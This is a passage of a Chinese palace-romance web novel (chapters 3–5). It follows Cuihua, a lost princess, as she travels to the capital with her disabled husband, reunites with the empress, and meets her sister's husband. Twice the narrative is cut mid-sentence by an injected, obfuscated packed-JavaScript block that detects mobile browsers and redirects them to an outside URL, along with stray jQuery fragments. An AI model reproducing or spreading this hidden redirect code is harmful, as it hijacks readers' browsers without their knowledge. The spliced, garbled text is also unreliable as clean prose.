《皇女翠花》
3. 第三章
女皇身边不可能留有蠢人,丫鬟心里同样明镜似的。
既然柳清姿已点头允准淮澈同行返京,那这位日后便是要随公主入府的。
无论是通房面首还是贴身侍女,说到底都是伺候主子的下人,她既想讨主子的欢心,自然没道理与这种能在公主枕边递话的人结下梁子。
翠花虽然还看不透这些人心中的弯弯绕,但瞧见柳清姿借入关后言语便利为由头,吩咐驿丞为淮澈备下了更宽敞舒适的马车,眼角眉梢还是漾开了欢喜神色。
尤其当她发觉,自己再想悄悄与淮澈多些亲近的时候,无论丫鬟亦或柳清姿等护卫,皆不再如先前那般明拦暗阻,顾左右而言他,清透乌眸中的笑意便更是溢于言表。
淮澈仍做人留一线,并也未点破那所谓的“不合皇家礼制”,不过是柳清姿施压之下,他信口拈来的托辞。
翠花则主动向柳清姿表了态:“柳大人放心,我与相公断不会做太出格的事,叫你们为难,只是他腿疾严重,行动不便,我就多陪陪他。”
她开始有意无意地向柳清姿等女官,以及随侍丫鬟宝钿施放善意。
虽一时还摸不透她们言行深处的门道,可连日相处下来,她隐约觉察出了她们都希望被她以怎样的态度对待。
这日途中歇脚,她又轻手轻脚地登入淮澈的马车,凑到他跟前,稚意而得意地悄声显摆:“我都瞧出来了,她们其实都盼着能讨我欢心,巴不得与我更亲近些。”
淮澈漫不经心地抬眸,入目便是小娘子“求夸奖”的神情,眼底略过一丝复杂。
迟疑片刻,终是只温浅一颔首:“你是公主,是他们的主子,偏要和你作对,能落到什么好处?”
翠花将他话中的哄溺全然当作赞许听,骄傲地挺直腰身,丰盈的胸脯随之微微起伏:“所以我得赏罚分明,谁对你好,我就礼尚往来地亲近他,谁欺负你,我断不给他好脸色。”
淮澈听得太阳穴微微一跳,劝教的话语在唇边转了个圈,到底咽了回去。
心道凡事皆需循序渐进,且由她慢慢耳濡目染是原因之一,更是目光不由自主被她胸前的颤动所牵,根本不忍扫她的兴。
车马入了梁国疆域,道路平坦宽阔,更有得到消息的地方官员接力相送,柳清姿多择官路带他们前行。
这便让之前连镇子都没出过的翠花,真正见识到了什么叫烟火繁盛,每至一处都忍不住掀帘张望,惊叹于目之所及的楼阁林立,市集喧嚷。
渊梁二国共分中原,渊居北地,多高原平野,四季分明,土地肥沃,百姓以农为本,多事耕种,南国梁地则水网纵横,气候温润。
然而山河形胜虽有别,真正定夺百姓生计丰俭的,却还是御宇之君的贤明勤怠。
翠花早听闻女皇治下的梁地富庶,今日亲眼得见,又得知那位英明君主竟是自己的娘亲,心头不禁涌上与有荣焉的骄傲情愫。
这份自豪催生了好奇,她开始时不时向柳清姿和宝钿探问关于女皇娘亲的事情。
和安居乐业的梁国臣民一样,她们提起女皇,都是发自内心的尊崇。
女皇对柳清姿有知遇之恩,她幼年受犯下重罪的外祖受累,随母没入掖庭,是女皇见她聪慧,不仅免了她和母亲的贱籍,还留她在身边重用。
柳清姿道:“女皇陛下勤政为民,知人善任,宽严并济,大梁有陛下,是国运所钟,臣等能侍奉陛下,是毕生之幸。”
翠花仰着脸,很捧场地“哇”了一声,眼中闪着钦佩的光。
她认识的字两手可数,其实没太听懂那几个文绉绉的成语,但她明白那都是夸她娘亲的好词,所以听得心中甜暖。
不似柳清姿,仅比翠花多认了些字的丫鬟宝钿则回答得更朴实,也更熨帖翠花的心坎儿:“公主生得极像女皇陛下。”
宝钿这话绝非阿谀讨好。
除却眉形和耳廓形肖生父,翠花的容貌俨然是女皇的翻版。
甚至比那位已称得上极像女皇的大公主还要神似,正因如此,柳清姿等人当初一见她,便几乎即刻认定了她的身份,这就是他们流落民间的二公主。
翠花喜滋滋地弯起朱唇。
她尚不懂天家父母总会对更像自己的子女多一份偏爱,只是越近皇城,对“有了娘亲”这件事的实感越强。
被说像娘亲,于她是顶顶中听的美言。
心情轻快飞扬,她与宝钿的话也更密了。
纤指从手边锦盒中捏起一颗剥好的剔透龙眼,她打开了话匣子,说起自己在渊国小镇长大的往事:“其实早些年,渊国也挺安生的,赋税轻,匪患少,西邦的人也安分,我们的镇子依山傍河,日子不富贵,但百姓都安居乐业的。”
宝钿接口道:“只能说大渊的百姓福薄,那煊王眼瞧着把他皇兄留下的烂摊子收拾利落了,小皇帝也被他架空了十年,偏偏就是差一口气,没坐上那位子。”
宝钿见自家公主对这些过去不敢妄论的皇家秘辛有兴趣,便一边熟练地剥着新果,一边同她多说了一些。
既已身在梁国,这邻国的轶事,饶是平民百姓拿来当谈资,也无需过多顾忌。
历来谋篡者多遭骂名,渊国这位摄政十年的煊王却是例外。
毕竟其兄大兴酷吏,好大喜功,在位时期曾三度劳民伤财地封禅,其侄又生性懦弱,能力平庸,百姓唯在他柄政的十年间得以喘息。
什么法统名位,在老百姓眼中都没有民康物阜来得实在。
宝钿道:“公主有所不知,那小皇帝荒唐更胜其父,就在我们动身来寻您前后,竟下旨追谥煊王为帝了。”
翠花愕然,杏眼圆睁:“煊王两年前薨,不是被他定了谋逆大罪吗?”
说好的天子一言九鼎,金口圣言呢?
况且她虽不懂皇家规制,却在经由说书先生夸张演绎的本子里,都没听过皇帝之位还能“追”的。
宝钿轻笑,带几分讥诮:“所以才说他荒唐,没了煊王威慑,他应对西邦全靠割地赔款,国内又起义不断,皆打着为他错杀忠良,要为煊王平反的旗号。”
翠花听得哑然,半晌才讷道:“那他给煊王追个皇帝名号有什么用呀,莫不是以为只要自己打自己的脸足够快,别人的巴掌就来不及落下来了?”
宝钿亦是无语:“许是觉得对内对外,煊王的法统都比他父皇的更管用吧,生怕别人对不上号,还直接从煊王封号中取了音,追谥的渊宣帝。”
七月初七,行至鄂地,正逢梁国的乞巧佳节。
按照梁国传统,这一日向来是女儿家极为看重的日子。
鄂地是梁国仅次于都城湘京的繁华地界,逢至节庆自然也热闹非常。
城内与城郊皆有庆典,即便急着赶路,这一日也走不了多远,柳清姿问过翠花的意思,便决定午后入城歇息。
翠花对节日的诸般热闹满怀兴致,休整半日,恰可赶上晚间最是喧腾的市集和灯会。
一路有地方官员殷勤打点,如今的翠花即便不言明公主身份,也俨然是一副富家千金的显贵模样了。
她本就生得貌美,往日长年劳作于田间市井,风吹日晒也不见黑,粗布荆钗仍难掩姝色,此时绫罗裹身,珠翠轻点,更似明珠拂去尘,金枝归杏梁,通身气派,哪里还寻得见半分农家女影子?
柳清姿亲自挑选了两名行事机警的女卫,皆作丫鬟打扮,与宝钿一并随侍左右。
鄂地民风淳朴,治安稳妥,这般安排足以护她周全。
夜市如昼,人流如织。
翠花一路走走停停,瞧什么都觉着新鲜,遇见喜欢的便买下,从未如此自在随心地过节。
不过她也没忘出门前相公的叮嘱,路过一家木料铺子时,虽见铺面装点不似旁处讨女儿家欢心,仍迈步走了进去。
店主是个三十出头的年轻男人,似是不满娘子只带着孩子们出门逛节,却独留他看店,正与店里小厮抱怨。
“夫人真是钻钱眼儿里了,这日子谁还来挑木料,非把我摁在这儿。”年轻男人边说边叹,“自己倒打扮得跟个小姑娘一样,也不怕被哪个后生塞了香囊……”
梁国商事繁盛,风气开化,青年男女间互表心意也往往颇为直率。
乞巧之夜,若是遇到心仪之人,赠香囊以诉情肠,是司空见惯的事情。
翠花美得出挑,一路行来着实没少惹得年轻男子侧目。
但她衣着华贵,身后随行的“丫鬟”都个个气度不凡,偶有跃跃欲试者,遭女卫冷冷一瞥,便也讪讪退却了。
听得店主一番抱怨,翠花似有所触,思索片刻,才走到案前,低头挑选起木料来。
宝钿微讶,暗忖公主竟还对这些有兴趣,轻声说道:“小姐若喜欢木器,可先选好料子,待回京后,奴婢寻些巧匠为您制作。”
外出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198895|197141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时不便自称“奴婢”,她也将翠花改口唤作“小姐”。
翠花却摇头:“我除了做豆腐,就还比较擅长拿木料打磨些小玩意儿,想给娘亲做把慈祥梳。”
从前她孝顺爹的法子质朴简单,无非多干活多赚钱,再去镇上给爹买好吃的好喝的。
可她女皇娘亲什么珍馐美食没见过吃过,甚至她一路花销的银钱,也都是女皇娘亲批下来的,因此她原是不愿班门弄斧,拿娘亲的钱去备什么献礼。
倒是她相公一语给她提了醒儿,女皇娘亲固然什么都不缺,但总没收过她亲手所做之物。
归根结底,她送什么不紧要,紧要的是她那份心意。
女皇从未放弃地寻了她十八年,定是常常思念她的,如今迎她回宫,心中未必不忐忑,怕失散多年的女儿与自己不亲。
若她亲手制物表达心意,安抚娘亲,如何会不令女皇心悦?
翠花当时一听,立时恍然:“我懂了!只是不知宫里有没有磨盘,如果有,我现场给娘亲表演空手推石磨和卤水点豆腐!”
结果就见她相公磨了一下后牙:“……我看你像豆腐,你全家都像豆腐。”
她相公的脾气一向极好,温文尔雅的一个人,在她面前更是几乎百依百顺。
有时被她闹得实在无奈,至多带着点阴阳怪气的情绪,自己闷声嘀咕一句,都不似木料铺老板一般,直白将埋怨的话说与她听。
回去时候,翠花特意绕到先前尝过的一家巧饼摊子,令宝钿和两个女卫在旁等候。
她买了花生红糖和芝麻大枣两种馅的,请摊主多包了两层油纸,打算带回去给相公。
她想,木料铺老板不过被娘子撇下一晚,已攒了满腹牢骚,而她相公碍于腿疾,每次她出门,都只能独自闷在房中苦等,想来更是会心情烦闷。
力所能及处,她也甘愿费些心思,将他哄得多开心几分。
柳清姿与宝钿等人见惯了她对淮澈体贴,早已予以默许。
于是她回到鄂地衙署,便径直去了淮澈房中。
他果然在等她,人没在床上,腿上的夹板也没拆卸,应该才净过面,鬓边发丝还沾着湿润水汽。
虽腿疾严重,倚靠夹板和拐杖行走十数步已是极限,他日常却几乎不劳旁人帮衬,生活自理之能,甚至令柳清姿等人咋舌。
当然这也得益于他与翠花清贫相依的两年,本也不可能请的起人细致入微地伺候帮衬。
翠花走到窗边,将大敞的支窗虚掩几分,轻声道:“乞巧节要吃巧饼,我都尝了一遍,给你带了两种最好吃的馅儿。”
淮澈淡淡瞥了一眼桌上的油纸包:“我漱过口了。”
言下之意,是没有意愿再进食。
事实上他明明该与翠花一样未曾享过什么富贵,如今得见各色精致饮食,却仍表现得兴致缺缺,更是叫柳清姿等人咋舌。
翠花柳眉一扬,不肯由他:“那就每样尝半块,吃完再漱一回便是。”
淮澈没动,却疏尔眼前一晃,定睛望去,但见自家小娘子纤白莹润的指尖正拈着一只香囊,引诱似的在他三步之外轻晃。
少女的嗓音软如掺蜜,眼尾染着灯烛的暖意,循循善诱:“也给你带了礼物,乞巧节的习俗,女儿家会向心仪的男子赠香囊,女皇娘亲珍惜我的心意,你不珍惜吗,你吃得我满意了,我才给你。”
淮澈仍是不动,深眸凝着她,眼底似有笑意:“我不吃,你给心上人的心意便不是我的了?”
他显然甚是了解他的小娘子,纵使今日赌气不送,最多不出三日,自会寻个由头,把香囊再塞过来。
但将他招赘两载,翠花又何尝不了解他?
当下也不急,只红唇微弯,慢悠悠地将那香囊顺着衣襟,塞入了胸前丰盈的沟壑之间,仰起脸,眼波带着毫不掩饰的狡黠与挑衅:“哦,那今晚……你便不急着要了?”
淮澈:“……”
伴随呼吸几不可察地一滞,他的目光掠过她颈间细腻如瓷的肌肤,和那抹若隐若现的绣囊颜色,喉结微动。
僵持片刻,他终是败下阵来,长指取过桌上尚且温热的油纸包。
死过一回的人,连捡回来的这条性命都随时可弃,却唯独她,是他无论如何也割舍不下的牵念。
七月十一,处暑。
车马终抵湘京,流落民间十八年的郦姝公主,正式回朝。
4.第四章
梁国皇族姓郦,与史书上更迭的历代王朝一般,原本也只传皇子承继大统。
直至皇位传至第三代,老皇帝一生专情,偌大后宫仅立一后,偏偏皇后体弱,子嗣单薄,待到中年薨逝,老皇帝终日思妻心切,也感大限将至,筹措储君人选时,膝下唯有一位公主。
公主多年辅政,文韬武略丝毫不逊于男子,老皇帝遂破旧立新,改祖制,立新规:自兹以后,大梁储君,不同男女,无论嫡庶,唯贤是举,以固江山永祚。
当世在位的女皇,则是大梁第六帝,也是第二位女帝。
男女皆可为政的风气经由四代君主治下的上行下效,如今大梁女子亦可参与文武科举,与男子同朝为官。
翠花久居渊国边陲,对梁国制度的这些了解,大多来自此番进京途中,柳清姿与宝钿等人的讲述。
至于更深层的,关乎皇家内情之事,身为人臣子民,她们自然不便多言。
翠花倒也想得开,她们说多少她就听多少,她们不便言说之处,她也不会巧言刺探。
这份颇具大智若愚意味的通透,某种层面而言着实令柳清姿等人意外。
尤其眼看到了皇城边,她还仍然吃得下睡得香,定力也堪称一等一的级别,只叫全然不知淮澈每日除了情爱,也不少与翠花谈论其他的他们萌发感慨,公主不愧是天子血脉,天然便有过人之处。
进宫面圣的前夜,月色漫过窗棂,柳清姿避开众人,私下寻到翠花,低声叮嘱:“明日觐见女皇陛下,若陛下不问,公主切记莫要主动提及婚配与夫君之事。”
柳清姿自是不敢在公主的婚姻大事上隐瞒不报,但相处这些时日,她又确是存了几分回护之心,想为公主指一条能将淮澈稳妥留在府中的路径。
翠花闻言,眼睫轻轻颤动了一下,随即了然:“我明白,若主动说及相公的寒微出身和腿疾,女皇娘亲定然觉得我受了天大的委屈,柳大人放心,我晓得轻重。”
莫说是九五之尊的女皇,就是她那卖了一辈子豆腐的爹爹,若她捡回淮澈时尚且在世,听闻她救活他后还动了要将其招赘的心思,也定会要她去河边空空脑子里的水。
爹爹从不盼她大富大贵,却时常懊悔自己眼盲体弱,累她小小年纪便要帮忙扛起生计,又怎么舍得从小苦到大的女儿伺候完老父,再招个也要她伺候的相公?
柳清姿颔首:“下官会禀明陛下,公主确已在民间成婚,但您与所托之人皆深知如今身份悬殊,再留他在身边,仅是顾惜旧情,不忍弃之。”
翠花点头:“一切听凭柳大人安排。”
她心下清明,既然柳清姿已将淮澈带入皇城,若再因此触怒女皇,柳清姿的处境只会比他们更不好过。
依梁国祖制,皇女十三及笄,皇子十五束发后方可受封开府。
翠花今年已满十八,女皇怜惜她流落民间多年,恨不得将她过往错失的荣华一口气补偿回来,早已为她备下了规制显赫的公主府。
柳清姿亦将这份荣宠的重量告知翠花:“陛下亲自选址督建,三殿下去年受封,府邸尚不及您的一半大。”
因女皇思女心切,盼望团聚,翠花仅在府门前与这偌大的宅邸打了个照面,便又匆匆入宫去了。
淮澈则随宝钿及几名护卫留下,宝钿和护卫皆是女皇的旨意,唯恐她初入府邸人生地不熟,苦于诸多不适应之处,是以留下她差遣顺手的人随侍。
此举更让翠花吃下了一颗定心丸,虽然方式和态度都与爹爹不同,但女皇娘亲想来也是十分疼爱她的,并非只出于皇家体面做样子,而是会真切站在她的立场,细细为她考量。
女皇体恤,不想天家威严吓到这个刚刚寻回的女儿,因此未在庄严肃穆的正殿召见,只将母女重逢之处定在御花园。
时值夏日晨光渐炽,透过古柏交错的枝叶,在青石径上筛落出碎金似的光点。
晨露未晞,悬于牡丹娇艳的花瓣边缘,恍若美人垂泪,我见犹怜。
汉白玉的拱桥之下,初绽的粉荷亭亭,偶有锦鲤跃出水面,漾开圈圈涟漪,撞上雕花石栏,复归宁静。
翠花正惊叹于这片人间仙境般的秾丽雍和中,嗅着风里浮动的栀子甜香,忽见一队宫人捧着冰鉴垂首缓行,裙裾拂过卵石拼嵌的万福纹,引一道端丽威仪的身影来到近前。
翠花尚在襁褓时便遗失民间,对娘亲是没什么记忆的。
可当她抬眸,望见那张果然与自己极为相似的面容时,一种源于血脉深处的亲近感还是骤然奔涌,冲得她鼻尖发酸,朱唇轻颤,不觉间,一声“娘”已脱口而出。
入宫前柳清姿教过她一些基本的规矩,女皇面前当称“母皇”,行万福跪拜礼,此刻却完全被她抛诸脑后。
她只半晌怔望着未曾谋面的娘亲,望着望着,眼眶便也热了。
而女皇苦寻她十八年,见她如此情真意切,又怎么会埋怨长于民间的女儿不通宫规礼法呢?
“是我的女儿,是我的姝儿。”姝儿是女皇取给翠花的乳名,她根本不要翠花跪拜,一双执掌江山的手微颤着握在翠花手上,许久舍不得放开,“离开娘时才足三个月,都长这么大了,我儿受苦了。”
女皇摸到翠花乍然看去纤白莹润的十指上,指腹处均被石磨农具打出了薄茧,再侧目瞧见柳清姿适时跪呈上的,由女儿亲手打磨的慈祥梳,不禁更加动容。
几乎不加迟疑地,本来要施给翠花的赏赐翻了一番儿,三千两银子直接批到她府上,不仅是翠花过去卖几辈子豆腐都赚不来的,即便之于受封的公主亲王,也相当于无功无过时的一年俸禄。
女皇无疑喜欢极了翠花这个失而复得的女儿。
原本只想留她在宫中三日,连教导宫规礼仪的老师都已备下,末了却足足留了八日,非但将那些会害女儿劳神费心的课业搁置到了九霄云外,更时常被翠花哄得笑意盈眸。
翠花本就性子纯善讨喜无疑是重要原因,更得益于淮澈一路潜移默化的点拨,让她能在与女皇相处时始终恰到好处地拿捏分寸,既不失尊敬,又带着民家女孩儿的天然娇憨。
这八日,赏赐也如流水一般,不断往翠花暂居的宫苑送。
绫罗绸缎,珠宝古玩……可谓只有翠花想不到,没有她女皇娘亲送不到。
起初几日,翠花是满心欢喜地感动于娘亲厚爱,也惊叹于这些从未见过的富贵物什。
到了后来,感动当然仍是感动的,却架不住她不仅不认几个字,也算不清太复杂的数目,再面对起那些个个需要登记造册的珍玩,整个人都有点麻,索性全交由宫人,让他们先行送回公主府的库房中。
翠花想到自招赘淮澈后,家中进项开支便全由他一手打理,心头不由也为他泛起一丝甜蜜的烦恼:“从前是银钱紧巴,需得相公精打细算,才能勉强攒下些许结余。如今银钱多得都不知如何花用了,也不知他是不是同我一样,算着算着便头晕犯蒙了。”
正如柳清姿所言,若仅叫女皇知晓她曾在民间招赘,听得柳清姿笃定淮澈是个安分守己的,便当真未再就此事过问什么。
好不容易寻回的掌上明珠,顾念旧情,在府中留用个通房面首罢了,这于女皇看来,实在算不上什么不得了的事情。
女皇自个儿后宫可是一后四妃编满,再往下的男嫔,御夫更是十数不止。
女儿心善,舍不得糟糠情分,便同曾在路边捡回只小猫小狗,如今仍得不得丢弃一样。
她疼女儿还来不及,又怎会明知女儿会因此沮丧,还非要将那陪伴她两年的小宠儿逐走呢?
只是以翠花那点浅薄阅历,若柳清姿不把话直白着说,她自然想不通女皇之所以将她招赘淮澈一事轻轻放过,竟会出于这般缘由。
她只晓得十五,十六这两日月亮圆得惹人相思,如今虽说有了娘亲疼惜,每日都像是浸在蜜罐里,却还是想爹爹也想相公了。
留在宫中陪伴女皇的第七日,翠花在晚膳时分,陪女皇娘亲饮了几盏粤地新贡的青梅酒。
她平日是那种大大咧咧的姑娘,哪怕日子过得清苦些,只要苦中尚有甜,就仿佛不识愁滋味,除非沾了酒,几杯下肚便会变了性情,格外容易伤情怀远。
回到寝院,由宫女伺候着沐浴更衣后,她仍被酒意蒸得双颊发烫,躺在象牙床上翻来覆去半个时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209176|197141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
辰也毫无睡意,索性趿了绣鞋,披一件软罗薄衫,走到暂住的宫苑附近,拣了处凉亭坐下看月亮。
好消息是十七的月亮没有十五十六那么圆满,坏消息是月亮圆也罢,缺也罢,都不耽误她一样想爹爹想相公。
想爹爹也还好,爹爹苦了一辈子,却始终厚道待人,是乡里乡亲公认的老好人,既然能保佑她先捡到相公,又寻回娘亲,想必在阴司也是福泽深厚,被阎王爷封了个顶风光的大官做。
倒是相公更加令她揪心,自打她将他捡回家来,二人还从来没有分开过这么久。
偏偏他那人瞧着性子淡,骨子里却执拗得很,占有欲强不说,又格外依赖她。
那是他才被她捡回来三个多月时发生的事,彼时他好不容易捡回一条性命,伤势也将将好转。
清晨时分,她照例随村西卖包子的王大哥夫妇去镇上赶集。
那日生意好,她的豆腐摊收得早,听说茶馆新来了个说书先生,便把空豆腐车托给王大哥夫妇照看,自己带着他们家八岁的狗娃,挤进茶馆听书。
一大一小两个孩子听着听着就入了迷,王大哥和王大嫂见惯不怪,先帮她把豆腐车推回村里,娃娃仍交给她带着。
翠花便和狗娃一直在茶馆待到晌午,听够了故事,才慢悠悠地晃回村,不料她送回狗娃推开家门,竟看到了家中恍若厉鬼索命的景象。
她那本该瘫在床上的相公,竟生生把自己翻了下来,用一双手臂拖着毫无知觉的双腿,从床榻一路爬至门口。
十几步的距离,他磨破了掌心,膝盖连着小腿更是皮开肉绽,加之腹间未愈的伤口再度崩裂,浑身是血,在所过之处留下一道深深浅浅的血痕。
他抬头看她,眼底猩红,声音嘶哑:“你若厌了我,后悔救了我,直说便是,不必躲我,更不必躲到外头……我不碍你的眼,就算死,也不会死在你面前。”
话虽说得决绝,可二人的第一次,也正是发生在那一日。
她急着给他清洗伤口上药,他执意不肯,喂饭递水,也紧抿着唇不肯张口,她软语哄了半晌,他的脸色仍不见缓和,她无可奈何,正欲起身去看灶上煎的药,他却误以为她又要走,猛地攥住她的手腕……
他自称曾是书生,缠绵病榻三个多月,鬼门关前走过一遭,瘦得形销骨立。
可那日力气却大得惊人,五指如铁钳般箍住她,任她如何挣扎也甩不脱,推搡时翠花的手无意擦过他腿间,顿时臊得满脸通红。
肌肤相亲前,他第一次对她谈起自己:“归绥人士,年二十八,二岁丧父,十二岁亡母,如今孑然一身,未曾婚配……”
原也是个苦命人,见她当真不嫌,反执意招赘,手头拮据无力办礼的二人,索性借着情浓,提前洞了花烛。
他性子再要强,再想方设法极尽自理之能,也终究双腿残疾,行走艰难。
翠花出神地想:自己不在的这几日,他的腿疾可曾发作?本就身子弱,梁国与渊国水土迥异,又可曾害病?若真又疼又病,以他那性子,定不会对旁人言语,旁人无从得知,想来更不可能主动为他抓药煮药。
本就是想睡却睡不着才出来闲逛,此刻翠花长发未绾,身上也只着一件极薄的纱罗睡裙,夜风拂过,衣袂轻盈如雾。
并不是她粗鄙妄为,当了公主仍不顾体统,这般衣衫不整就敢四处走动。
实是女皇娘亲为她设想得过于周全,唯恐旁人冲撞了她,便特意拨了一处独门独院的宫苑给她。
院门外时刻有女卫把守,跟孙悟空为唐僧画下的护身圈一样,只要她不踏出去,除非女皇亲临,否则谁也进不来。
因此,当身后响起脚步声时,她只当是久候她不归,故而担忧寻来的宫女或女侍。
不料她匆匆拭了下眼角,回身望去,却见一道清隽身影静立在凉亭另一端。
溶溶月色下,那人一身月白锦袍,倚栏而立,身姿如修竹临风,眉峰似远岱,眼尾噙春水,气质温润清朗至极。
而待他看清翠花的面容,竟也蓦地一怔,一句微带颤音的“太女殿下”脱口而出,惊得翠花不知所措,下意识后退了半步。
5.第五章
包括翠花在内,女皇膝下共有五位子女,这是在来京途中,柳清姿便向翠花如实告知过的。
其中翠花与大皇女郦媖同出一父,皆是由女皇和第一任男后所生。
可惜她们的父亲英年早逝,当年正是因为挚爱的男后薨逝,女皇才悲痛过度,骤然断了奶水,只得将尚在襁褓,仅三个月大的二公主翠花全权交予乳母喂养。
谁料那乳母鬼迷心窍,竟为了给自己的女儿谋得一生富贵,暗中将翠花与亲生女儿调换,为了瞒天过海,更是一不做二不休,将翠花几经转手送出宫,卖给了人贩子。
然而天下母亲,岂会有认不出亲生骨肉的?
几乎在抱回“公主”襁褓的瞬间,女皇便察觉到这绝非自己的女儿。
奈何延线追查却为时已晚,最终只得知翠花已经被转卖数次,途中害了病,被根本不知其真实身份的最后一名人贩随手遗弃,生死不明。
先后痛失原后和次女,女皇自是伤怀悔恨难当,但毕竟贵为一国之君,还是在走出丧夫丧女之痛后续立新后,其余三位皇子皇女,皆为继任男后所出。
三殿下郦璟是皇子,年十六,去年刚刚开府建衙,如今已不在宫中,因此翠花回宫后尚未得见。
四殿下郦婵与五殿下郦媛则是一对双生皇女,年方十二,见翠花并不怯生,她回宫第三日,女皇便特地唤来这对小妹与她相认。
翠花流落民间十八年,自不可能一夕回宫便被册立为皇储,如今梁国的皇太女,正是她一母同胞的姐姐郦媖,只是半年前突染急症,如今正在琼州妙玉山静心疗养。
柳清姿曾说过,她与姐姐容貌皆似女皇娘亲,因此翠花只怔了一瞬,便意识到眼前这位清雅俊美的男子,定是错将她认作了姐姐。
她忙不迭摆手,举手投足仍带着几分长于民间的直率:“啊……我不是……”
入宫方才七日,她尚不习惯以公主的身份自居,试图言明自己的公主封号时,言语间难掩局促。
幸而那男子也已回过神来,眼底掠过一丝恍然,随即欠身致礼:“恕臣眼拙,猛然瞧见您的面容,一时失态了,您是二殿下吧,竟将二殿下错认作太女殿下,是臣冒犯了。”
他未等翠花追问,便主动报上家门:“臣乃尚书令卫浔第三子,卫江冉,亦是……太女殿下的驸马,自与太女殿下成婚,便随殿下居于东宫。”
经他这一解释,翠花才知自己眼下暂居的宫苑,原是姐姐郦媖受封开府前的旧居。
两年前姐姐晋封皇太女,因这处宫苑本就与东宫毗邻,宠爱女儿的女皇便下旨将两处打通,仅以一条竹林窄巷相隔,自此东宫作主殿,供皇太女起居饮食处理政务,此处则为偏殿,做怡情小憩,接待近臣之用。
翠花一直以为自己所居是独门独院,是因为她根本不曾想这般气派的宫苑竟会只是一处偏殿,而后院假山旁那片郁郁葱葱的竹径之外,竟还别有洞天。
凉亭筑于假山之上,翠花凭栏下望,但见竹影摇风,不禁再度暗叹这宫阙的广阔恢弘。
她有些赧然,垂眸低声道:“该我向姐夫赔不是才对,大晚上不在房里歇着,倒跑到这里来吹风,害你在竹径那头突然瞧见人影,怕不是还当进了贼……”
竹径不过十几丈,因颇具曲径通幽之感,若两侧之人皆立于平地,本是不易望见对方的,但若一高一低,又逢这般月明之夜,亭中人的身影可不是清晰可见?
翠花此前不知那边是东宫,更不知里面还住着一位姐夫,自然未曾拜会,说来哪里是卫江冉冒犯了她,倒是她不明就里,惊扰了对方的清静。
卫江冉却无半分怪罪之意,只温声道:“二殿下说笑了,此处既是东宫偏殿,若无女皇陛下或太女殿下准许,外人岂能随意出入?”
翠花一想也是,讪讪一笑,抬眼间便见卫江冉的目光在她脸上微微一滞,旋即又不着痕迹地移开,眸中似有薄雾轻笼,欲言又止。
翠花也是成了亲的人,片刻前还在月下牵挂自家体弱的相公,见他如此神情,心下顿时了然——定是因她的容貌酷似姐姐,才引得姐夫见之思人,也情难自禁地想念起了远在琼州养病的姐姐。
同是记挂心上之人,令她不由生出几分同病相怜之意。
于是便也不急着告辞了,只信手从栏边海棠树上折下一段犹带花苞的新枝,嫩色指尖灵巧地翻转几下,已将那如云青丝松松绾起,尚有几缕不听话的发丝垂落颈侧,率性娇慵至极。
卫江冉本是温和有礼地看着,目光却在她抬臂簪花时不经意地凝住,眼见那抹鲜妍色彩没入鸦色鬓间,眼底极淡地掠过一丝惊艳涟漪。
不过他很快又借着颔首的动作掩去眸中异色,只是再度抬眼时,唇角那抹礼节性的笑意,似乎比先前多了些旁的意味。
当然,翠花对此毫无觉察,绾好发髻便好奇问道:“姐夫与姐姐的感情也一定很好吧?”
卫江冉并未直接答是或不是,只微微牵唇,浅笑清如月光:“臣蒙太女殿下青睐,特请陛下赐婚,自是三生有幸,然臣愧对圣恩,太女殿下与臣成婚不久便身体染恙,而后……”
他语声渐低,未尽之言化作一声几不可闻的轻叹。
翠花听懂了其中的憾恨,也不禁跟着轻叹一声,真心实意地道:“姐夫莫要这样说,姐姐既然特意去求母皇赐婚,定是极中意您的,生急病这种事,谁又料得到呢?她必然不愿见你因此自责的。”
卫江冉闻言,眼中似有微光涌动,面上郁色稍霁:“二殿下的容貌虽与太女殿下相似,性情却迥然不同。”
翠花眨眨眼,娇憨一笑:“哈哈,我在民间长大,都不认识几个字的,自然不如姐姐会宽慰人,姐夫你将就着听。我心是好的,可常常好话不会说,净往人肺管子上杵,这是我相公被我气着时的原话。”
卫江冉侧首看来,语气略带迟疑:“……相公?”
翠花这才惊觉失言,但转念一想,对方又不是柳清姿要求她谨言的女皇娘亲,还同样在牵挂枕边人,便疏于遮掩,坦然点头:“嗯,我在宫外成亲了,我相公……身子骨也不太好,说来不好意思,我大半夜跑来这里看月亮,就是心里记挂他,睡不着……”
她确实不会说太中听的情话,可偏偏将民家小女儿的质朴情愫表露无遗。
而卫江冉也并未深问,只轻声感慨:“二殿下才是,有一段彼此都情深意笃的好姻缘。”
一句话,让翠花对他的好感又添几分。
因着淮澈的缘故,她本就会对读过书有学识的人高看一些。
加之这一路行来,她见多了柳清姿等宫中人对淮澈的轻慢态度,即便后来他们多因同淮澈的相处而渐渐改观,可卫江冉却是唯一一个,从一开始便未因她相公出身民间而流露偏见的人。
礼尚往来的,她也稍微谦虚了一下:“也称不上什么深什么笃的,我们之前就是乡野夫妻,彼此看对了眼,谁都不嫌弃谁罢了,肯定比不得你和我姐姐这种,任谁来看都是金童玉女。”
见卫江冉不知怎的又是苦笑一叹,翠花不由想起说书先生常道的那句“万事只求半称心,人生哪能多如意”。
